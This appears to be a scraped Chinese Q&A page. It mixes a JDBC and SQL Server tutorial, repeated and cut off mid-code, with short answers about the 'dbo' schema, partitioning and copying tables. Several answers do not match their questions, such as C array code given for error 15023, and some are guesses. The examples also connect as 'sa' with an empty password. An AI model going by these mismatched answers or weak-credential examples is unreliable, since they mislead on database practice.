如果我们能够以某种方式编写不依赖于特定厂商的数据库的代码,并且能够不改变自己的调用程序即可从这些数据库中得到相同的结果,那将是一件很好的事。如果我们可以仅为所有这些数据库编写一些封装,使它们具有相似的编程接口,这种对数据库编程独立于供应商的特性将很容易实现。 什么是 JDBC? JDBC 是对 ODBC API 进行的一种面向对象的封装和重新设计,它易于学习和使用,并且它真正能够使您编写不依赖厂商的代码,用以查询和操纵数据库。尽管它与所有 Java API 一样,都是面向对象的,但它并不是很高级别的对象集. 除 Microsoft 之外,多数厂商都采用了 JDBC,并为其数据库提供了 JDBC 驱动程序;这使您可轻松地真正编写几乎完全不依赖数据库的代码。另外,JavaSoft 和 Intersolv 已开发了一种称为 JDBC-ODBC Bridge 的产品,可使您连接还没有直接的 JDBC 驱动程序的数据库。支持 JDBC 的所有数据库必须至少可以支持 SQL-92 标准。这在很大程度上实现了跨数据库和平台的可移植性。 安装和使用 JDBC JDBC 的类都被归到 java.sql 包中,在安装 Java JDK 1.4时会自动安装。然而,如果您想使用 JDBC-ODBC 桥。JDBC-ODBC 驱动程序可从 Sun 的 Java 网站 (http://java.sun.com/) 轻松地找到并下载。在您扩充并安装了这个驱动程序后,必须执行下列步骤: 将 jdbc-odbcclasses; 路径添加到您的 PATH 环境变量中。 将 jdbc-odbcclasses; 路径添加到您的 CLASSPATH 环境变量中。 JDBC 驱动程序的类型 Java 程序连接数据库的方法实际上有四种: 1. JDBC-ODBC 桥和 ODBC 驱动程序 -- 在这种方式下,这是一个本地解决方案,因为 ODBC 驱动程序和桥代码必须出现在用户的每台机器中。从根本上说这是一个临时解决方案。 2. 本机代码和 Java 驱动程序 -- 它用另一个本地解决方案(该平台上的 Java 可调用的本机代码)取代 ODBC 和 JDBC-ODBC 桥。 3. JDBC 网络的纯 Java 驱动程序 -- 由 Java 驱动程序翻译的 JDBC 形成传送给服务器的独立协议。然后,服务器可连接任何数量的数据库。这种方法使您可能从客户机 Applet 中调用服务器,并将结果返回到您的 Applet。在这种情况下,中间件软件提供商可提供服务器。 4. 本机协议 Java 驱动程序 -- Java 驱动程序直接转换为该数据库的协议并进行调用。这种方法也可以通过网络使用,而且可以在 Web 浏览器的 Applet 中显示结果。在这种情况下,每个数据库厂商将提供驱动程序。 如果您希望编写代码来处理 PC 客户机数据库,如 dBase、Foxbase 或 Access,则您可能会使用第一种方法,并且拥有用户机器上的所有代码。更大的客户机-服务器数据库产品(如 IBM 的 DB2)已提供了第 3 级别的驱动程序。 两层模型和三层模型 当数据库和查询它的应用程序在同一台机器上,而且没有服务器代码的干预时,我们将生成的程序称为两层模型。一层是应用程序,而另一层是数据库。在 JDBC-ODBC 桥系统中通常是这种情况。 当一个应用程序或 applet 调用服务器,服务器再去调用数据库时,我们称其为三层模型。当您调用称为“服务器”的程序时通常是这种情况。 编写 JDBC 代码访问数据库 用 ODBC 注册您的数据库 连接数据库 所有与数据库有关的对象和方法都在 java.sql 包中,因此在使用 JDBC 的程序中必须加入 "import java.sql.* "。 JDBC 要连接 ODBC 数据库,您必须首先加载 JDBC-ODBC 桥驱动程序 Class.forName("sun.jdbc.odbc.JdbcOdbcDriver"); 该语句加载驱动程序,并创建该类的一个实例。然后,要连接一个特定的数据库,您必须创建 Connect 类的一个实例,并使用 URL 语法连接数据库。 String url = "jdbc:odbc:Northwind"; Connection con = DriverManager.getConnection(url); 请注意,您使用的数据库名是您在 ODBC 设置面板中输入的“数据源”名称。 URL 语法可能因数据库类型的不同而变化极大。 jdbc:subprotocol:subname 第一组字符代表连接协议,并且始终是 jdbc。还可能有一个子协议,在此处,子协议被指定为 odbc。它规定了一类数据库的连通性机制。如果您要连接其它机器上的数据库服务器,可能也要指定该机器和一个子目录: jdbc:bark//doggie/elliott 最后,您可能要指定用户名和口令,作为连接字符串的一部分: jdbc:bark//doggie/elliot;UID=GoodDog;PWD=woof 访问MSSQL Server方法:(驱动程序需要:msutil.jar,msbase.jar,mssqlServer.jar) DBDriver=com.microsoft.jdbc.sqlserver.SQLServerDriver URL=jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=demo username=sa password= maxcon=10 mincon=1 poolName=SkyDev 利用我们开发的数据库类,使用方法如下: DbObject DbO = new DbObject(new SqlServerConnectionFactory("localhost", 1433, "demo", "sa", "")); Connection con = DbO.getConnection(); //类代码(不含连接工厂实现) package skydev.modules.data; public final class SqlServerConnectionFactory extends ConnectionFactory { private final String dbDriver = "com.microsoft.jdbc.sqlserver.SQLServerDriver"; private String host; private int port; private String databaseName; public SqlServerConnectionFactory() { super.setDriverName(dbDriver); } /** * * @param host 数据库所在的主机名:如"localhost" * @param port SQL服务器运行的端口号,如果使用缺省值 1433,传入一个负数即可 * @param databaseName 数据库名称 * @param userName 用户名 * @param password 口令 */ public SqlServerConnectionFactory(String host, int port, String databaseName, String userName, String password) { this.setHost(host); this.setPort(port); this.setDatabaseName(databaseName); this.setUserName(userName); this.setPassword(password); init(); } private void init() { super.setDriverName(dbDriver); super.setUrl("jdbc:microsoft:sqlserver://" + host.trim() + ":" + new Integer(port).toString() + ";DatabaseName=" + databaseName.trim()); //super.setUrl("jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=demo"); } …… //------------------------------------------------------------------------------------ 访问MySQL的方法: DBDriver=com.mysql.jdbc.Driver URL=jdbc:mysql://localhost/demo username= password= maxcon=5 mincon=1 poolName=zhengmao 访问数据库 一旦连接到数据库,就可以请求表名以及表列的名称和内容等信息,而且您可以运行 SQL 语句来查询数据库或者添加或修改其内容。可用来从数据库中获取信息的对象有: DatabaseMetaData 有关整个数据库的信息:表名、表的索引、数据库产品的名称和版本、数据库支持的操作。 ResultSet 关于某个表的信息或一个查询的结果。您必须逐行访问数据行,但是您可以任何顺序访问列。 ResultSetMetaData 有关 ResultSet 中列的名称和类型的信息。 尽管每个对象都有大量的方法让您获得数据库元素的极为详细的信息,但在每个对象中都有几种主要的方法使您可获得数据的最重要信息。然而,如果您希望看到比此处更多的信息,建议您学习文档以获得其余方法的说明。 ResultSet ResultSet 对象是 JDBC 中最重要的单个对象。从本质上讲,它是对一个一般宽度和未知长度的表的一种抽象。几乎所有的方法和查询都将数据作为 ResultSet 返回。ResultSet 包含任意数量的命名列,您可以按名称访问这些列。它还包含一个或多个行,您可以按顺序自上而下逐一访问。在您使用 ResultSet 之前,必须查询它包含多少个列。此信息存储在 ResultSetMetaData 对象中。 //从元数据中获得列数 ResultSetMetaData rsmd; rsmd = results.getMetaData(); numCols = rsmd.getColumnCount(); 当您获得一个 ResultSet 时,它正好指向第一行之前的位置。您可以使用 next() 方法得到其他每一行,当没有更多行时,该方法会返回 false。由于从数据库中获取数据可能会导致错误,您必须始终将结果集处理语句包括在一个 try 块中。 您可以多种形式获取 ResultSet 中的数据,这取决于每个列中存储的数据类型。另外,您可以按列序号或列名获取列的内容。请注意,列序号从 1 开始,而不是从 0 开始。ResultSet 对象的一些最常用方法如下所示。 getInt(int); 将序号为 int 的列的内容作为整数返回。 getInt(String); 将名称为 String 的列的内容作为整数返回。 getFloat(int); 将序号为 int 的列的内容作为一个 float 型数返回。 getFloat(String); 将名称为 String 的列的内容作为 float 型数返回。 getDate(int); 将序号为 int 的列的内容作为日期返回。 getDate(String); 将名称为 String 的列的内容作为日期返回。 next(); 将行指针移到下一行。如果没有剩余行,则返回 false。 Close(); 关闭结果集。 getMetaData(); 返回 ResultSetMetaData 对象。 ResultSetMetaData 您使用 getMetaData() 方法从 ResultSet 中获取 ResultSetMetaData 对象。您可以使用此对象获得列的数目和类型以及每一列的名称。 getColumnCount(); 返回 ResultSet 中的列数。 getColumnName(int); 返回列序号为 int 的列名。 getColumnLabel(int); 返回此列暗含的标签。 isCurrency(int); 如果此列包含带有货币单位的一个数字,则返回 true。 isReadOnly(int); 如果此列为只读,则返回 true。 isAutoIncrement(int); 如果此列自动递增,则返回 true。这类列通常为键,而且始终是只读的。 getColumnType(int); 返回此列的 SQL 数据类型。这些数据类型包括 BIGINT BINARY BIT CHAR DATE DECIMAL DOUBLE FLOAT INTEGER LONGVARBINARY LONGVARCHAR NULL NUMERIC OTHER REAL SMALLINT TIME TIMESTAMP TINYINT VARBINARY VARCHAR DatabaseMetaData DatabaseMetaData 对象可为您提供整个数据库的信息。您主要用它获取数据库中表的名称,以及表中列的名称。由于不同的数据库支持不同的 SQL 变体,因此,也有多种方法查询数据库支持哪些 SQL 方法。 getCatalogs() 返回该数据库中的信息目录列表。使用 JDBC-ODBC Bridge 驱动程序,您可以获得用 ODBC 注册的数据库列表。这很少用于 JDBC-ODBC 数据库。 getTables(catalog, schema,tableNames, columnNames) 返回表名与 tableNames 相符而且列名与 columnNames 相符的所有表的说明。 getColumns(catalog, schema,tableNames, columnNames) 返回表名与 tableNames 相符而且列名与 columnNames 相符的所有表列说明。 getURL(); 获得您所连接的 URL 名称。 getDriverName(); 获得您所连接的数据库驱动程序的名称。 获取有关表的信息 您可以使用 DataBaseMetaData 的 getTables() 方法来获取数据库中表的信息。这个方法有如下4个 String 参数: results =dma.getTables(catalog, schema, tablemask, types[]); 其中参数的意义是: Catalog 要在其中查找表名的目录名。对于 JDBC-ODBC 数据库以及许多其他数据库而言,可将其设置为 null。这些数据库的目录项实际上是它在文件系统中的绝对路径名称。 Schema 要包括的数据库“方案”。许多数据库不支持方案,而对另一些数据库而言,它代表数据库所有者的用户名。一般将它设置为 null。 Tablemask 一个掩码,用来描述您要检索的表的名称。如果您希望检索所有表名,则将其设为通配符 %。请注意,SQL 中的通配符是 % 符号,而不是一般 PC 用户的 * 符号。 types[] 这是描述您要检索的表的类型的 String 数组。数据库中通常包括许多用于内部处理的表,而对作为用户的您没什么价值。如果它是空值,则您会得到所有这些表。如果您将其设为包含字符串“TABLES”的单元素数组,您将仅获得对用户有用的表格。 一个简单的 JDBC 程序 我们已经学习了 JDBC 的所有基本功能,现在我们可以编写一个简单的程序,该程序打开数据库,打印它的表名以及某一表列的内容,然后对该数据库执行查询。此程序如下所示: package skydevkit; import java.sql.*; public class JdbcOdbc_test { ResultSet results; ResultSetMetaData rsmd; DatabaseMetaData dma; Connection con; public JdbcOdbc_test() throws SQLException { String url = "jdbc:odbc:Northwind"; try { //加载 JDBC-ODBC 桥驱动程序 Class.forName("sun.jdbc.odbc.JdbcOdbcDriver"); con = DriverManager.getConnection(url);//连接数据库 dma = con.getMetaData();//获取数据库的元数据 System.out.println("Connected to:" + dma.getURL()); System.out.println("Driver " + dma.getDriverName()); } catch (Exception e) { System.out.println(e); } try { Statement stmt = con.createStatement(); results = stmt.executeQuery("select * from 客户;"); ResultSetMetaData resultMetaData = results.getMetaData(); int cols = resultMetaData.getColumnCount(); String resultRow = ""; for (int i = 1; i < cols; i++) { resultRow += resultMetaData.getColumnName(i) + ";"; } System.out.println(resultRow); while (results.next()) { resultRow = ""; for (int i = 1; i < cols; i++) { try { resultRow += results.getString(i) + ";"; } catch (NullPointerException e) { System.out.println(e.getMessage()); } } System.out.println(resultRow); } } catch (Exception e) { System.out.println("query exception"); } finally { results.close(); } } } 补充高级内容 关于调用SQLServer存储过程的例子:(用到了我们开发的数据库连接类) CREATE PROCEDURE [dbo].[sp_getStudentByName](@name char(10)) AS Select * from Students where [Name]=@name GO DbObject DbO = new DbObject(new SqlServerConnectionFactory("localhost", 1433, "demo", "sa", "")); Connection con = DbO.getConnection(); CallableStatement pstmt = null; System.out.println("TestDB1()............"); /* try { pstmt = con.prepareCall("{call sp_getStudentById(?)}"); pstmt.setInt(1, 1); }*/ try { pstmt = con.prepareCall("{call sp_getStudentByName(?)}"); //注意参数如何传递 pstmt.setString(1, "Tom"); } …… 使用输出参数: CREATE PROCEDURE [dbo].[sp_insertStudent](@name char(10),@age int,@id int OUTPUT) AS insert into Students([Name],[Age]) values (@name,@age) select @id=@@IDENTITY GO try { pstmt = con.prepareCall("{call sp_insertStudent(?,?,?)}"); pstmt.setString(1, "zengqingsong"); pstmt.setInt(2, 22); pstmt.registerOutParameter(3, Types.INTEGER); pstmt.executeUpdate(); int id = pstmt.getInt(3); System.out.println(id); } 使用返回参数的例子: CREATE PROCEDURE [dbo].[sp_insertStudent](@name char(10),@age int,@id int OUTPUT) AS insert into Students([Name],[Age]) values (@name,@age) select @id=@@IDENTITY –测试输出参数 return 30 –测试返回30 GO try { pstmt = con.prepareCall("{?=call sp_insertStudent(?,?,?)}"); pstmt.setString(2, "zengqingsong"); pstmt.setInt(3, 22); pstmt.registerOutParameter(4, Types.INTEGER); pstmt.registerOutParameter(1, Types.INTEGER); int ret = pstmt.executeUpdate(); //执行影响的行数 int ret2 = pstmt.getInt(1); //返回参数(输出参数) int id = pstmt.getInt(4); //输出参数 System.out.println(ret); System.out.println(ret2); System.out.println(id);
2023-06-16 14:32:223

MSSQL中的dbo是什么角色?怎么以其他用户进去后建立的表还是dbo.xxxxxx?

dbo是指db owner,也就是数据库所有者。你在建立表时,上面工具栏上第二项的“表和索引属性”,点进去,里面有“所有者”,把它改成你自己的用户就行了。
2023-06-16 14:32:381

关于SQL server 中的dbo、guest个是什么,他们都有什么功能,有请各位朋友给个详细的回答,先谢了!

不是很清楚,应该是管理权限什么的吧,就像是你电脑的账号,管理员,客户什么的
2023-06-16 14:33:032

SQL2000数据库出现只供dbo使用怎么解决

dbo 就是 database owner 数据库的 所有者你不是它有所有人,所以不让你操作可以 右键→属性 改变它 或者以 所在者 身份登录 就可以了
2023-06-16 14:33:141

为什么C#中数据库sql语句中在表的前面加上.dbo,不加也能正常执行,两者有什么区别!

dbo是指数据库所有者database owner,是具有在数据库中执行所有活动的暗示性权限的用户。所以,你在数据库中的所有操作,涉及到表名,如果没有加所有者,那么默认所有者就是dbo。因为,其他所有者的表,必须加所有者,而dbo,可以省略所有者。
2023-06-16 14:33:232

sql server2000中执行sql语句时发现系统会在表名前自动加上“dbo.”,什么意思?

所有者http://zhidao.baidu.com/question/30738303.html
2023-06-16 14:33:302

在sql中sys.与dbo.有什么区别,是一个指架构一个指表吗?

架构是指包含表、视图、过程等的容器。sys是包含系统对象的架构。dbo是用户默认架构,sysadmin 固定服务器角色的所有成员都有默认架构 dbo.
2023-06-16 14:33:401

pb select错误 dbo错误

肯定是权限问题。你可以直接在SQLSERVER的查询脚本测试一下。使用你的用户,查询你所说的几个表。select dbo.students.id,dbo.students.name,dbo.students.age from dbo.students看看用你的用户,这个语句会不会报一样的错误,你用户的权限比较低,强行使用DBO用户查询,肯定不行。
2023-06-16 14:33:491

怎么判断sql数据库是否存在,存在删除

如何判断数据库是否存在 执行下列的SQL,获得一张表,根据表的行数来判断。select * from master..sysdatabases where name=N"所查询的数据库名"if exists(select * from master.dbo.sysdatabases where name = "yexinwinners")begindrop database yexinwinnersprint "yexinwinners己存在,己被删除"endelsebegincreate database yexinwinnerson primary(name = yexinwinners_mdf,filename = "c:yexinwinners.mdf",size = 10mb,maxsize = 50mb,filegrowth = 25%)log on(name = yexinwinners_ldf,filename = "c:yexinwinners.ldf",size = 10mb,maxsize = 50mb,filegrowth = 25%)print "yexinwinners 数据库创建成功"end
2023-06-16 14:33:562

如何对一个已经存在的SQL Server表分区

有两种方法可以实现对一个表分区.一是创建一个新的标识为分区表的表(你可参照此步骤),然后把数据复制到这张新表,再对这两张表分别改名.或者,像我写在下面的,通过重建或创建一个聚集索引来达到分区一个表.一个SQL Server表和数据进行分区示例--Table/Index creationCREATE TABLE [dbo].[TABLE1] ([pkcol] [int] NOT NULL, [datacol1] [int] NULL, [datacol2] [int] NULL, [datacol3] [varchar](50) NULL, [partitioncol] datetime)GOALTER TABLE dbo.TABLE1 ADD CONSTRAINT PK_TABLE1 PRIMARY KEY CLUSTERED (pkcol) GOCREATE NONCLUSTERED INDEX IX_TABLE1_col2col3 ON dbo.TABLE1 (datacol1,datacol2) WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
2023-06-16 14:34:121

创建 对于 用户“dbo”失败。错误: 15023

int a[11]={1,4,6,9,13,16,19,28,40,100}; int temp1,temp2,number,end,i,j; printf("original array is: "); for(i=0;i<10;i++)  printf("%5d",a[i]); printf(" "); printf("insert a new number:"); scanf("%d",&number);
2023-06-16 14:34:351

SQL中调用函数时是不是一定要加上dbo?

表函数不用,其它需要 表函数不用,其它需要 --dbo是SCHEMA_NAME结构描术,这是创建者定义的
2023-06-16 14:34:562

Sql 行列转换

http://wenku.baidu.com/view/451b23f4f705cc17552709d0.html这里有答案
2023-06-16 14:35:043

sql语句中什么时候要加dbo.什么时候不需要加啊

"select * from users Where UserAccount=" + """ + UserName + """ + "And UserPwd=" + """ + strMd5 + """ select * from users Where UserAccount="UserName1" And UserPwd="Md5Pwd" 这就是从c#翻译过来的sql语句,其中单引号间表示数据库中的字符类使用,比如id like "aaa001",双引号表示c#里面的字符串。数据库中的字符类的比较建议使用LIKE,不要用= select * from users Where UserAccount Like "UserName1" And UserPwd Like "Md5Pwd"(在user表中查找用户名为"UserName1"并且经过MD5加密后的密文为"Md5Pwd"的记录,若存在,表示该用户用户名与密码一致,允许登录系统
2023-06-16 14:35:561

我用pb连接的sql2003的数据库,表前面怎么都多了dbo,怎么去掉啊!

我估计你连的是:SQL 2005或更高版本,在2005或后期版本中(包括ORACLE),打开PB数据窗口中的SQL语句都会加上dbo.开头,没关系,这不影响你的程序。
2023-06-16 14:36:042

sql server 数据库怎么复制dbo

方式一、如果写代码select * into [目标数据库B].DBO.表名 from. [源数据库A].DBO.表名方式二、如果不写代码,可以用导入的方式复制表结构(如果目标数据库已经存在,此步跳过)1、打开并连接Sql Server,在源数据库DATA_A(源数据库名称)上右键,然后依次点击“编写表脚本为”→“CREATE到”→“新查询编辑器窗口”。2、在第1步产生的编辑器中按”crtl+a“组合键全选内容,然后右键“复制“(或按"crtl+c"键)。3、新建查询,然后右键“粘贴”(或ctrl+v);如图所示,将代码中DATA_A(源数据库名)改为DATA_B(目标数据库名)。接着右键单击”执行“执行代码。4、在目标数据库的表结构中就可以看到被复制过来的表了。表的数据内容复制选中目标数据库DATA_B然后点击”任务“→”导入数据“。进入”SQL Server导入导出向导“,根据提示步骤操作。选择数据源(源数据库)。选择目标(目标数据库)、指定表复制或查询。选择源表和源视图:设置源表和目标表后,单击“编辑映射”按钮,在弹出窗口中选中“启用标识插入”。(否则后面会出错)一直点击“下一步”至最后完成操作。
2023-06-16 14:36:141

dbo模式中,运营服务器结束至颁发合同完成证书的时间应不超过几天

DBO:是指设计(Design)-建造(Build)-运营(Operation)的简称,指的是承包商在业主手中以某一合理总价承包设计并建造一个公共设施或基础设施,并且负责运营该设施,满足在该设施试用期间公共部门的运作要求。承包商负责设计的维修保养以及更换在合同期内已经超过其使用期的资产,在该合同期满后,资产所有权交回业主或公共部门。DBO的特点可概括为“单一责任”和“功能保证”。DBO合同中的承包商承担设计、建造和运营的责任,对项目是否达到预定的技术和进度要求负责,由于DBO中的设计-建造部分采用总价包干的方式,他也必须对项目的建造费用控制负责,并通过运营的考验确保将来向业主移交一个符合运营要求的设施。(一)
2023-06-16 14:36:234

sql2005中dbo问题

返回表函数可以这样去掉dbo,标量值函数是需要加上dbo所有者
2023-06-16 14:36:321

mysql中有sys,sue,dbo么?

mysql中有sys,sue,dbo么? - MYSQL中,有没有像在MSSQL的master.dbo.sysdatabases 保存着所有的数据库名称, xxxxxxx.dbo.sysobjects这样保存着所有的表名字段名等信息的系统表
2023-06-16 14:36:421

sql2005数据库中创建表时为何会在原表名前加上一个dbo.的东西,这是什么意思

默认架构名,默认的用户Sa具有权限,不需理会这个架构名
2023-06-16 14:36:502

什么是DBO模式

DBO(即设计、建设、运营)DBO是个非常好的想法,因为市场化后,谁投资谁负责建设、运营,让投资人自己选择工艺,可以将投资、建设、运营一揽子考虑,政府已经选定的工艺可不一定就是造价最低、运营最优的工艺。
2023-06-16 14:37:123

sql中 dbo 是什么意思

表的所有者
2023-06-16 14:37:366

sql中 dbo 是什么意思

表的所有者
2023-06-16 14:38:056

简单问题 SqlServer中的dbo是什么东西

dbo是sqlserver中最垃圾的东西了,也是微软一直是单用户产品的表现
2023-06-16 14:38:293

SQL中FROM数据库名.dbo.表名,其中dbo作用与含义是什么呢

SQL中FROM数据库名.dbo.表名的DBO相当于用户名,以所有者身份使用表
2023-06-16 14:38:361

SQL中FROM数据库名.dbo.表名,其中dbo作用与含义是什么呢

它应该是数据库对象吧!一般它是系统默认的,
2023-06-16 14:38:453

sql server 2005 中删除对于用户的dbo失败怎么办

在删除SQL Server用户时,有时会报错:Microsoft SQL Server错误: 15138删除对于用户失败,数据库主体在该数据库中拥有架构,无法删除。删除 对于 用户“*****”失败。 (Microsoft.SqlServer.Smo) 。下面将为您介绍两种的解决方法。其他信息:执行 Transact-SQL 语句或批处理时发生了异常。 (Microsoft.SqlServer.ConnectionInfo)解决方法一先删除此用户对应的架构,然后在删除对应的用户步骤1。SQL SERVER MANAGEMENT STUDIO -> 数据库 -> 安全性 -> 构架,先删除对应的构架2。SQL SERVER MANAGEMENT STUDIO -> 数据库 -> 安全性 -> 用户,删除对应的用户解决方法二–执行如下SQL语句ALTER AUTHORIZATION ON SCHEMA::db_owner TO dbo;–然后手动删除就可以了。
2023-06-16 14:38:541

DBO和GUEST这两个特殊的数据库用户的含义是什么

dbodatabase owner数据库的创建者,创建该对象的用户.guest顾客能够访问数据库中对象的数据,要求dbo分配权限给guest,一般给他查看的权限select
2023-06-16 14:39:021

sqlserver中的表所有者不是dbo怎么改成dbo的

1:从下面的图片中就可以看出来,当前这个选中的表的所有者是"dxkj",并不是dbo,所以现在要把这个表的所有者改回dbo的,在该表上点击右键,选择“设计”,如下图:2:右键点击表名然后选择设计表,如下图3:在工具
2023-06-16 14:39:101

sql数据表里的所有者一般为“dbo”可以改成其他的吗

可以的 还可以改成SA权限只要你加了用户就可以更改
2023-06-16 14:39:181

数据库怎么获得?什么是数据库

什么是数据库? 数据库是以某种文件结构存储的一系列信息表,这种文件结构使您能够访问这些表、选择表中的列、对表进行排序以及根据各种标准选择行。数据库通常有多个 索引与这些表中的许多列相关联,所以我们能尽可能快地访问这些表。 以员工记录为例,您可以设想一个含有员工姓名、地址、工资、扣税以及津贴等内容的表。让我们考虑一下这些内容可能如何组织在一起。您可以设想一个表包含员工姓名、地址和电话号码。您希望保存的其它信息可能包括工资、工资范围、上次加薪时间、下次加薪时间、员工业绩评定等内容。 这些内容是否应保存在一个表格中?几乎可以肯定不应该如此。不同类别的员工的工资范围可能没有区别;这样,您可以仅将员工类型储存在员工记录表中,而将工资范围储存在另一个表中,通过类型编号与这个表关联。考虑以下情况: Key Lastname SalaryType SalaryType Min Max 1 Adams 2 1 30000 45000 2 Johnson 1 2 45000 60000 3 Smyth 3 3 60000 75000 4 Tully 1 5 Wolff 2 SalaryType 列中的数据引用第二个表。我们可以想象出许多种这样的表,如用于存储居住城市和每个城市的税值、健康计划扣除金额等的表。每个表都有一个主键列(如上面两个表中最左边的列)和若干数据列。在数据库中建立表格既是一门艺术,也是一门科学。这些表的结构由它们的范式指出。我们通常说表属于1NF、2NF 或 3NF。 第一范式:表中的每个表元应该只有一个值(永远不可能是一个数组)。(1NF) 第二范式:满足 1NF,并且每一个非主键列完全依赖于主键列。这表示主键和该行中的剩余表元之间是 1 对 1 的关系。(2NF) 第三范式:满足 2NF,并且所有非主键列是互相独立的。任何一个数据列中包含的值都不能从其他列的数据计算得到。(3NF) 现在,几乎所有的数据库都是基于“第三范式 (3NF)”创建的。这意味着通常都有相当多的表,每个表中的信息列都相对较少。 从数据库中获取数据 假设我们希望生成一个包含员工及其工资范围的表,在我们设计的一个练习中将使用这个表。这个表格不是直接存在在数据库中,但可以通过向数据库发出一个查询来构建它。我们希望得到如下所示的一个表: Name Min Max Tully $30,000.00 $45,000.00 Johnson $30,000.00 $45,000.00 Wolff $45,000.00 $60,000.00 Adams $45,000.00 $60,000.00 Smyth $60,000.00 $75,000.00 我们发现,获得这些表的查询形式如下所示 SELECT DISTINCTROW Employees.Name, SalaryRanges.Min, SalaryRanges.Max FROM Employees INNER JOIN SalaryRanges ON Employees.SalaryKey = SalaryRanges.SalaryKey ORDER BY SalaryRanges.Min; 这种语言称为结构化查询语言,即 SQL,而且它是几乎目前所有数据库都可以使用的一种语言。SQL-92 标准被认为是一种基础标准,而且已更新多次。 数据库的种类 PC 上的数据库,如 dBase、Borland Paradox、Microsoft Access 和 FoxBase。 数据库服务器:IBM DB/2、Microsoft SQL Server、 Oracle、Sybase、SQLBase 和 XDB。 所有这些数据库产品都支持多种相对类似的 SQL 方言,因此,所有数据库最初看起来好象可以互换。每种数据库都有不同的性能特征,而且每一种都有不同的用户界面和编程接口。 ODBC 如果我们能够以某种方式编写不依赖于特定厂商的数据库的代码,并且能够不改变自己的调用程序即可从这些数据库中得到相同的结果,那将是一件很好的事。如果我们可以仅为所有这些数据库编写一些封装,使它们具有相似的编程接口,这种对数据库编程独立于供应商的特性将很容易实现。 什么是 JDBC? JDBC 是对 ODBC API 进行的一种面向对象的封装和重新设计,它易于学习和使用,并且它真正能够使您编写不依赖厂商的代码,用以查询和操纵数据库。尽管它与所有 Java API 一样,都是面向对象的,但它并不是很高级别的对象集. 除 Microsoft 之外,多数厂商都采用了 JDBC,并为其数据库提供了 JDBC 驱动程序;这使您可轻松地真正编写几乎完全不依赖数据库的代码。另外,JavaSoft 和 Intersolv 已开发了一种称为 JDBC-ODBC Bridge 的产品,可使您连接还没有直接的 JDBC 驱动程序的数据库。支持 JDBC 的所有数据库必须至少可以支持 SQL-92 标准。这在很大程度上实现了跨数据库和平台的可移植性。 安装和使用 JDBC JDBC 的类都被归到 java.sql 包中,在安装 Java JDK 1.4时会自动安装。然而,如果您想使用 JDBC-ODBC 桥。JDBC-ODBC 驱动程序可从 Sun 的 Java 网站 (http://java.sun.com/) 轻松地找到并下载。在您扩充并安装了这个驱动程序后,必须执行下列步骤: 将 jdbc-odbcclasses; 路径添加到您的 PATH 环境变量中。 将 jdbc-odbcclasses; 路径添加到您的 CLASSPATH 环境变量中。 JDBC 驱动程序的类型 Java 程序连接数据库的方法实际上有四种: 1. JDBC-ODBC 桥和 ODBC 驱动程序 -- 在这种方式下,这是一个本地解决方案,因为 ODBC 驱动程序和桥代码必须出现在用户的每台机器中。从根本上说这是一个临时解决方案。 2. 本机代码和 Java 驱动程序 -- 它用另一个本地解决方案(该平台上的 Java 可调用的本机代码)取代 ODBC 和 JDBC-ODBC 桥。 3. JDBC 网络的纯 Java 驱动程序 -- 由 Java 驱动程序翻译的 JDBC 形成传送给服务器的独立协议。然后,服务器可连接任何数量的数据库。这种方法使您可能从客户机 Applet 中调用服务器,并将结果返回到您的 Applet。在这种情况下,中间件软件提供商可提供服务器。 4. 本机协议 Java 驱动程序 -- Java 驱动程序直接转换为该数据库的协议并进行调用。这种方法也可以通过网络使用,而且可以在 Web 浏览器的 Applet 中显示结果。在这种情况下,每个数据库厂商将提供驱动程序。 如果您希望编写代码来处理 PC 客户机数据库,如 dBase、Foxbase 或 Access,则您可能会使用第一种方法,并且拥有用户机器上的所有代码。更大的客户机-服务器数据库产品(如 IBM 的 DB2)已提供了第 3 级别的驱动程序。 两层模型和三层模型 当数据库和查询它的应用程序在同一台机器上,而且没有服务器代码的干预时,我们将生成的程序称为两层模型。一层是应用程序,而另一层是数据库。在 JDBC-ODBC 桥系统中通常是这种情况。 当一个应用程序或 applet 调用服务器,服务器再去调用数据库时,我们称其为三层模型。当您调用称为“服务器”的程序时通常是这种情况。 编写 JDBC 代码访问数据库 用 ODBC 注册您的数据库 连接数据库 所有与数据库有关的对象和方法都在 java.sql 包中,因此在使用 JDBC 的程序中必须加入 "import java.sql.* "。 JDBC 要连接 ODBC 数据库,您必须首先加载 JDBC-ODBC 桥驱动程序 Class.forName("sun.jdbc.odbc.JdbcOdbcDriver"); 该语句加载驱动程序,并创建该类的一个实例。然后,要连接一个特定的数据库,您必须创建 Connect 类的一个实例,并使用 URL 语法连接数据库。 String url = "jdbc:odbc:Northwind"; Connection con = DriverManager.getConnection(url); 请注意,您使用的数据库名是您在 ODBC 设置面板中输入的“数据源”名称。 URL 语法可能因数据库类型的不同而变化极大。 jdbc:subprotocol:subname 第一组字符代表连接协议,并且始终是 jdbc。还可能有一个子协议,在此处,子协议被指定为 odbc。它规定了一类数据库的连通性机制。如果您要连接其它机器上的数据库服务器,可能也要指定该机器和一个子目录: jdbc:bark//doggie/elliott 最后,您可能要指定用户名和口令,作为连接字符串的一部分: jdbc:bark//doggie/elliot;UID=GoodDog;PWD=woof 访问MSSQL Server方法:(驱动程序需要:msutil.jar,msbase.jar,mssqlServer.jar) DBDriver=com.microsoft.jdbc.sqlserver.SQLServerDriver URL=jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=demo username=sa password= maxcon=10 mincon=1 poolName=SkyDev 利用我们开发的数据库类,使用方法如下: DbObject DbO = new DbObject(new SqlServerConnectionFactory("localhost", 1433, "demo", "sa", "")); Connection con = DbO.getConnection(); //类代码(不含连接工厂实现) package skydev.modules.data; public final class SqlServerConnectionFactory extends ConnectionFactory { private final String dbDriver = "com.microsoft.jdbc.sqlserver.SQLServerDriver"; private String host; private int port; private String databaseName; public SqlServerConnectionFactory() { super.setDriverName(dbDriver); } /** * * @param host 数据库所在的主机名:如"localhost" * @param port SQL服务器运行的端口号,如果使用缺省值 1433,传入一个负数即可 * @param databaseName 数据库名称 * @param userName 用户名 * @param password 口令 */ public SqlServerConnectionFactory(String host, int port, String databaseName, String userName, String password) { this.setHost(host); this.setPort(port); this.setDatabaseName(databaseName); this.setUserName(userName); this.setPassword(password); init(); } private void init() { super.setDriverName(dbDriver); super.setUrl("jdbc:microsoft:sqlserver://" 